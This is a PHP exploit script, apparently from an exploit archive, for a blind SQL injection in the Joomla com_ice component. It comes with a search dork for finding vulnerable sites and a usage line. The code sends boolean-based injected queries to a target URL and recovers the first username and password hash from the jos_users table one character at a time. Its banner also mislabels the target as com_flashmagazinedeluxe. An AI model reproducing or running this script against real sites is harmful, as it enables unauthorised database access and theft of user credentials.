Joomla Ice Blind SQL Injection

`#!/usr/bin/php  
<?php  
ini_set("max_execution_time",0);  
print_r('  
###########################################################################  
[ ] Joomla com_ice Remote Blind Injection Vulnerability  
###########################################################################  
[ ] Script: [Joomla]  
[ ] Language: [ PHP ]  
[ ] Founder: [ Snakespc ] (Algerian HaCkeR)  
[ ] Site : [ sec-war.com ]  
[ ] Dork: inurl:index.php?option=com_ice  
###########################################################################  
  
###########################################################################  
# Joomla com_flashmagazinedeluxe (catid) Blind SQL Injection Exploit  
# [x] Usage: Snakespc.php "http://url/index.php?option=com_ice&Itemid=123&catid=1"  
###########################################################################  
');  
if ($argc > 1) {  
$url = $argv[1];  
$r = strlen(file_get_contents($url."+and+1=1--"));  
echo "\nExploiting:\n";  
$w = strlen(file_get_contents($url."+and+1=0--"));  
$t = abs((100-($w/$r*100)));  
echo "Username: ";  
for ($i=1; $i <= 30; $i++) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$count = $i;  
$i = 30;  
}  
}  
for ($j = 1; $j < $count; $j++) {  
for ($i = 46; $i <= 122; $i=$i+2) {  
if ($i == 60) {  
$i = 98;  
}  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
echo chr($i-1);  
} else {  
echo chr($i);  
}  
$i = 122;  
}  
}  
}  
echo "\nPassword: ";  
for ($j = 1; $j <= 49; $j++) {  
for ($i = 46; $i <= 102; $i=$i+2) {  
if ($i == 60) {  
$i = 98;  
}  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
echo chr($i-1);  
} else {  
echo chr($i);  
}  
$i = 102;  
}  
}  
}  
}  
?>`